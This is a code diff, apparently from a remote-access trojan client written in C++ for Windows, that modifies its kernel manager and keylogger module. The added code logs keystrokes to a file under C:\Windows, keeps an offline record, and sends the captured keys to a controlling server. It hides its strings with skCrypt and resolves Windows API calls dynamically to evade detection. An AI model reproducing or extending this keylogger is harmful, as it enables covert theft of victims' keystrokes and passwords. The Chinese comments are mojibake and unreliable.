// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance)
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb)
|
||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
||||
{
|
||||
m_ulThreadCount = 0;
|
||||
@@ -28,6 +48,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
||||
m_settings = { 30 };
|
||||
#endif
|
||||
m_nNetPing = -1;
|
||||
m_hKeyboard = kb;
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
@@ -185,6 +206,15 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) {
|
||||
return 0x20250529;
|
||||
}
|
||||
|
||||
DWORD WINAPI SendKeyboardRecord(LPVOID lParam) {
|
||||
CManager* pMgr = (CManager*)lParam;
|
||||
if (pMgr) {
|
||||
pMgr->Reconnect();
|
||||
pMgr->Notify();
|
||||
}
|
||||
return 0xDead0001;
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
@@ -201,8 +231,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case CMD_AUTHORIZATION: {
|
||||
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
||||
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||||
#ifndef _DEBUG
|
||||
if (hMutex == NULL) // û<>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>
|
||||
break;
|
||||
#endif
|
||||
CloseHandle(hMutex);
|
||||
|
||||
char buf[100] = {}, *passCode = buf + 5;
|
||||
@@ -215,8 +247,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
memcpy(buf + 32, pwdHash, 64); // 64<36>ֽ<EFBFBD>
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
} else {
|
||||
int* days = (int*)(buf + 1);
|
||||
config* cfg = pwdHash == masterHash ? new config : new iniFile;
|
||||
cfg->SetStr("settings", "Password", passCode);
|
||||
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
|
||||
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
|
||||
delete cfg;
|
||||
g_bExit = S_SERVER_EXIT;
|
||||
}
|
||||
@@ -286,8 +320,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
||||
{
|
||||
if (m_hKeyboard) {
|
||||
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||
} else {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -323,7 +361,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_BYE:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
Mprintf("======> Client exit \n");
|
||||
break;
|
||||
@@ -331,8 +369,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
case SERVER_EXIT:
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
g_bExit = S_SERVER_EXIT;
|
||||
Mprintf("======> Server exit \n");
|
||||
break;
|
||||
|
||||
@@ -20,6 +20,11 @@
|
||||
#include <TlHelp32.h>
|
||||
#include "LoginServer.h"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
|
||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
|
||||
|
||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
|
||||
|
||||
class ActivityWindow {
|
||||
public:
|
||||
std::string Check(DWORD threshold_ms = 6000) {
|
||||
@@ -77,10 +82,10 @@ class CKernelManager : public CManager
|
||||
public:
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb);
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
ThreadInfo* m_hKeyboard;
|
||||
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>쳣
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
||||
|
||||
@@ -2,8 +2,12 @@
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "Common.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include <tchar.h>
|
||||
|
||||
#if ENABLE_KEYBOARD
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -11,24 +15,25 @@
|
||||
#include <iostream>
|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
#include "keylogger.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
#define FILE_PATH "\\MODIf.html"
|
||||
#define CAPTION_SIZE 1024
|
||||
|
||||
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
|
||||
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
|
||||
{
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
sendOfflineRecord();
|
||||
m_bIsOfflineRecord = offline;
|
||||
|
||||
GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
|
||||
lstrcat(m_strRecordFile, FILE_PATH);
|
||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
||||
strcpy_s(m_strRecordFile, path);
|
||||
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||
|
||||
m_bIsWorking = true;
|
||||
dKeyBoardSize = 0;
|
||||
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
SetReady(TRUE);
|
||||
}
|
||||
|
||||
CKeyboardManager1::~CKeyboardManager1()
|
||||
@@ -38,6 +43,15 @@ CKeyboardManager1::~CKeyboardManager1()
|
||||
WaitForSingleObject(m_hSendThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
CloseHandle(m_hSendThread);
|
||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||
delete m_Buffer;
|
||||
}
|
||||
|
||||
void CKeyboardManager1::Notify() {
|
||||
if (NULL == this)
|
||||
return;
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
}
|
||||
|
||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
@@ -46,14 +60,15 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
||||
m_bIsOfflineRecord = lpBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
||||
DeleteFile(m_strRecordFile);
|
||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
CloseHandle(hFile);
|
||||
dKeyBoardSize = 0;
|
||||
m_Buffer->Clear();
|
||||
GET_PROCESS_EASY(DeleteFileA);
|
||||
DeleteFileA(m_strRecordFile);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -61,9 +76,9 @@ int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)true;
|
||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||
|
||||
return Send((LPBYTE)&bToken[0], sizeof(bToken));
|
||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
@@ -71,50 +86,22 @@ int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
GET_PROCESS(DLLS[KERNEL], LocalAlloc);
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
GET_PROCESS(DLLS[KERNEL], LocalFree);
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
|
||||
{
|
||||
int nRet = 0;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
dKeyBoardSize = dwSize;
|
||||
if (0 != dwRead) {
|
||||
SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
|
||||
dwSize -= dwRead;
|
||||
}
|
||||
|
||||
TCHAR *lpBuffer = new TCHAR[dwSize];
|
||||
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
|
||||
lpBuffer[i] ^= '`';
|
||||
|
||||
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
|
||||
delete[] lpBuffer;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
|
||||
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||
{
|
||||
GET_PROCESS(DLLS[USER32], GetKeyState);
|
||||
std::string KeyString = "";
|
||||
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
||||
@@ -124,207 +111,207 @@ std::string GetKey(int Key) //
|
||||
switch(Key) {
|
||||
case 186:
|
||||
if(IS)
|
||||
KeyString = ":";
|
||||
KeyString = skCrypt(":");
|
||||
else
|
||||
KeyString = ";";
|
||||
KeyString = skCrypt(";");
|
||||
break;
|
||||
case 187:
|
||||
if(IS)
|
||||
KeyString = "+";
|
||||
KeyString = skCrypt("+");
|
||||
else
|
||||
KeyString = "=";
|
||||
KeyString = skCrypt("=");
|
||||
break;
|
||||
case 188:
|
||||
if(IS)
|
||||
KeyString = "<";
|
||||
KeyString = skCrypt("<");
|
||||
else
|
||||
KeyString = ",";
|
||||
KeyString = skCrypt(",");
|
||||
break;
|
||||
case 189:
|
||||
if(IS)
|
||||
KeyString = "_";
|
||||
KeyString = skCrypt("_");
|
||||
else
|
||||
KeyString = "-";
|
||||
KeyString = skCrypt("-");
|
||||
break;
|
||||
case 190:
|
||||
if(IS)
|
||||
KeyString = ">";
|
||||
KeyString = skCrypt(">");
|
||||
else
|
||||
KeyString = ".";
|
||||
KeyString = skCrypt(".");
|
||||
break;
|
||||
case 191:
|
||||
if(IS)
|
||||
KeyString = "?";
|
||||
KeyString = skCrypt("?");
|
||||
else
|
||||
KeyString = "/";
|
||||
KeyString = skCrypt("/");
|
||||
break;
|
||||
case 192:
|
||||
if(IS)
|
||||
KeyString = "~";
|
||||
KeyString = skCrypt("~");
|
||||
else
|
||||
KeyString = "`";
|
||||
KeyString = skCrypt("`");
|
||||
break;
|
||||
case 219:
|
||||
if(IS)
|
||||
KeyString = "{";
|
||||
KeyString = skCrypt("{");
|
||||
else
|
||||
KeyString = "[";
|
||||
KeyString = skCrypt("[");
|
||||
break;
|
||||
case 220:
|
||||
if(IS)
|
||||
KeyString = "|";
|
||||
KeyString = skCrypt("|");
|
||||
else
|
||||
KeyString = "\\";
|
||||
KeyString = skCrypt("\\");
|
||||
break;
|
||||
case 221:
|
||||
if(IS)
|
||||
KeyString = "}";
|
||||
KeyString = skCrypt("}");
|
||||
else
|
||||
KeyString = "]";
|
||||
KeyString = skCrypt("]");
|
||||
break;
|
||||
case 222:
|
||||
if(IS)
|
||||
KeyString = '"';
|
||||
else
|
||||
KeyString = "'";
|
||||
KeyString = skCrypt("'");
|
||||
break;
|
||||
}
|
||||
}
|
||||
//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
|
||||
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
|
||||
KeyString = "[Esc]";
|
||||
KeyString = skCrypt("[Esc]");
|
||||
else if (Key == VK_F1) // F1<46><31>F12
|
||||
KeyString = "[F1]";
|
||||
KeyString = skCrypt("[F1]");
|
||||
else if (Key == VK_F2)
|
||||
KeyString = "[F2]";
|
||||
KeyString = skCrypt("[F2]");
|
||||
else if (Key == VK_F3)
|
||||
KeyString = "[F3]";
|
||||
KeyString = skCrypt("[F3]");
|
||||
else if (Key == VK_F4)
|
||||
KeyString = "[F4]";
|
||||
KeyString = skCrypt("[F4]");
|
||||
else if (Key == VK_F5)
|
||||
KeyString = "[F5]";
|
||||
KeyString = skCrypt("[F5]");
|
||||
else if (Key == VK_F6)
|
||||
KeyString = "[F6]";
|
||||
KeyString = skCrypt("[F6]");
|
||||
else if (Key == VK_F7)
|
||||
KeyString = "[F7]";
|
||||
KeyString = skCrypt("[F7]");
|
||||
else if (Key == VK_F8)
|
||||
KeyString = "[F8]";
|
||||
KeyString = skCrypt("[F8]");
|
||||
else if (Key == VK_F9)
|
||||
KeyString = "[F9]";
|
||||
KeyString = skCrypt("[F9]");
|
||||
else if (Key == VK_F10)
|
||||
KeyString = "[F10]";
|
||||
KeyString = skCrypt("[F10]");
|
||||
else if (Key == VK_F11)
|
||||
KeyString = "[F11]";
|
||||
KeyString = skCrypt("[F11]");
|
||||
else if (Key == VK_F12)
|
||||
KeyString = "[F12]";
|
||||
KeyString = skCrypt("[F12]");
|
||||
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
|
||||
KeyString = "[PrScrn]";
|
||||
KeyString = skCrypt("[PrScrn]");
|
||||
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[Scroll Lock]";
|
||||
KeyString = skCrypt("[Scroll Lock]");
|
||||
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
|
||||
KeyString = "[Pause]";
|
||||
KeyString = skCrypt("[Pause]");
|
||||
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||||
KeyString = "[Caps Lock]";
|
||||
KeyString = skCrypt("[Caps Lock]");
|
||||
|
||||
//-------------------------------------//
|
||||
//<2F><><EFBFBD>Ƽ<EFBFBD>
|
||||
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
|
||||
KeyString = "[Backspace]";
|
||||
KeyString = skCrypt("[Backspace]");
|
||||
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[Enter]\n";
|
||||
KeyString = skCrypt("[Enter]\n");
|
||||
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
|
||||
KeyString = " ";
|
||||
KeyString = skCrypt(" ");
|
||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
/*
|
||||
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||
KeyString = "[Shift]";
|
||||
KeyString = skCrypt("[Shift]");
|
||||
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||
KeyString = "[SHIFT]";
|
||||
KeyString = skCrypt("[SHIFT]");
|
||||
*/
|
||||
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
|
||||
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
|
||||
KeyString = "[Tab]";
|
||||
KeyString = skCrypt("[Tab]");
|
||||
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
||||
KeyString = "[Ctrl]";
|
||||
KeyString = skCrypt("[Ctrl]");
|
||||
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
|
||||
KeyString = "[CTRL]";
|
||||
KeyString = skCrypt("[CTRL]");
|
||||
else if (Key == VK_LMENU) // <20><EFBFBD><F3BBBBB5><EFBFBD>
|
||||
KeyString = "[Alt]";
|
||||
KeyString = skCrypt("[Alt]");
|
||||
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[ALT]";
|
||||
KeyString = skCrypt("[ALT]");
|
||||
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
|
||||
KeyString = "[Win]";
|
||||
KeyString = skCrypt("[Win]");
|
||||
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
|
||||
KeyString = "[WIN]";
|
||||
KeyString = skCrypt("[WIN]");
|
||||
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
|
||||
KeyString = "<EFBFBD>Ҽ<EFBFBD>";
|
||||
KeyString = skCrypt("<EFBFBD>Ҽ<EFBFBD>");
|
||||
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
|
||||
KeyString = "[Insert]";
|
||||
KeyString = skCrypt("[Insert]");
|
||||
else if (Key == VK_DELETE) // ɾ<><C9BE>
|
||||
KeyString = "[Delete]";
|
||||
KeyString = skCrypt("[Delete]");
|
||||
else if (Key == VK_HOME) // <20><>ʼ
|
||||
KeyString = "[Home]";
|
||||
KeyString = skCrypt("[Home]");
|
||||
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
|
||||
KeyString = "[End]";
|
||||
KeyString = skCrypt("[End]");
|
||||
else if (Key == VK_PRIOR) // <20><>һҳ
|
||||
KeyString = "[PgUp]";
|
||||
KeyString = skCrypt("[PgUp]");
|
||||
else if (Key == VK_NEXT) // <20><>һҳ
|
||||
KeyString = "[PgDown]";
|
||||
KeyString = skCrypt("[PgDown]");
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
|
||||
else if (Key == VK_CANCEL) // Cancel
|
||||
KeyString = "[Cancel]";
|
||||
KeyString = skCrypt("[Cancel]");
|
||||
else if (Key == VK_CLEAR) // Clear
|
||||
KeyString = "[Clear]";
|
||||
KeyString = skCrypt("[Clear]");
|
||||
else if (Key == VK_SELECT) //Select
|
||||
KeyString = "[Select]";
|
||||
KeyString = skCrypt("[Select]");
|
||||
else if (Key == VK_PRINT) //Print
|
||||
KeyString = "[Print]";
|
||||
KeyString = skCrypt("[Print]");
|
||||
else if (Key == VK_EXECUTE) //Execute
|
||||
KeyString = "[Execute]";
|
||||
KeyString = skCrypt("[Execute]");
|
||||
|
||||
//----------------------------------------//
|
||||
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
|
||||
KeyString = "[<5B><>]";
|
||||
KeyString = skCrypt("[<5B><>]");
|
||||
else if (Key == VK_RIGHT)
|
||||
KeyString = "[<5B><>]";
|
||||
KeyString = skCrypt("[<5B><>]");
|
||||
else if (Key == VK_UP)
|
||||
KeyString = "[<5B><>]";
|
||||
KeyString = skCrypt("[<5B><>]");
|
||||
else if (Key == VK_DOWN)
|
||||
KeyString = "[<5B><>]";
|
||||
KeyString = skCrypt("[<5B><>]");
|
||||
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KeyString = "[NumLock]";
|
||||
KeyString = skCrypt("[NumLock]");
|
||||
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
|
||||
KeyString = "+";
|
||||
KeyString = skCrypt("+");
|
||||
else if (Key == VK_SUBTRACT)
|
||||
KeyString = "-";
|
||||
KeyString = skCrypt("-");
|
||||
else if (Key == VK_MULTIPLY)
|
||||
KeyString = "*";
|
||||
KeyString = skCrypt("*");
|
||||
else if (Key == VK_DIVIDE)
|
||||
KeyString = "/";
|
||||
KeyString = skCrypt("/");
|
||||
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
|
||||
KeyString = ".";
|
||||
KeyString = skCrypt(".");
|
||||
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
|
||||
else if (Key == VK_NUMPAD0)
|
||||
KeyString = "0";
|
||||
KeyString = skCrypt("0");
|
||||
else if (Key == VK_NUMPAD1)
|
||||
KeyString = "1";
|
||||
KeyString = skCrypt("1");
|
||||
else if (Key == VK_NUMPAD2)
|
||||
KeyString = "2";
|
||||
KeyString = skCrypt("2");
|
||||
else if (Key == VK_NUMPAD3)
|
||||
KeyString = "3";
|
||||
KeyString = skCrypt("3");
|
||||
else if (Key == VK_NUMPAD4)
|
||||
KeyString = "4";
|
||||
KeyString = skCrypt("4");
|
||||
else if (Key == VK_NUMPAD5)
|
||||
KeyString = "5";
|
||||
KeyString = skCrypt("5");
|
||||
else if (Key == VK_NUMPAD6)
|
||||
KeyString = "6";
|
||||
KeyString = skCrypt("6");
|
||||
else if (Key == VK_NUMPAD7)
|
||||
KeyString = "7";
|
||||
KeyString = skCrypt("7");
|
||||
else if (Key == VK_NUMPAD8)
|
||||
KeyString = "8";
|
||||
KeyString = skCrypt("8");
|
||||
else if (Key == VK_NUMPAD9)
|
||||
KeyString = "9";
|
||||
KeyString = skCrypt("9");
|
||||
//-------------------------------------------//
|
||||
|
||||
//-------------------------------------------//
|
||||
@@ -345,34 +332,34 @@ std::string GetKey(int Key) //
|
||||
if(IS) {
|
||||
switch(Key) {
|
||||
case 48: //0
|
||||
KeyString = ")";
|
||||
KeyString = skCrypt(")");
|
||||
break;
|
||||
case 49://1
|
||||
KeyString = "!";
|
||||
KeyString = skCrypt("!");
|
||||
break;
|
||||
case 50://2
|
||||
KeyString = "@";
|
||||
KeyString = skCrypt("@");
|
||||
break;
|
||||
case 51://3
|
||||
KeyString = "#";
|
||||
KeyString = skCrypt("#");
|
||||
break;
|
||||
case 52://4
|
||||
KeyString = "$";
|
||||
KeyString = skCrypt("$");
|
||||
break;
|
||||
case 53://5
|
||||
KeyString = "%";
|
||||
KeyString = skCrypt("%");
|
||||
break;
|
||||
case 54://6
|
||||
KeyString = "^";
|
||||
KeyString = skCrypt("^");
|
||||
break;
|
||||
case 55://7
|
||||
KeyString = "&";
|
||||
KeyString = skCrypt("&");
|
||||
break;
|
||||
case 56://8
|
||||
KeyString = "*";
|
||||
KeyString = skCrypt("*");
|
||||
break;
|
||||
case 57://9
|
||||
KeyString = "(";
|
||||
KeyString = skCrypt("(");
|
||||
break;
|
||||
}
|
||||
} else
|
||||
@@ -399,45 +386,24 @@ std::string GetKey(int Key) //
|
||||
return KeyString;
|
||||
}
|
||||
|
||||
void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
|
||||
{
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
|
||||
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
DWORD dwBytesWrite = 0;
|
||||
DWORD dwSize = GetFileSize(hFile, NULL);
|
||||
if (dwSize < 1024 * 1024 * 50)
|
||||
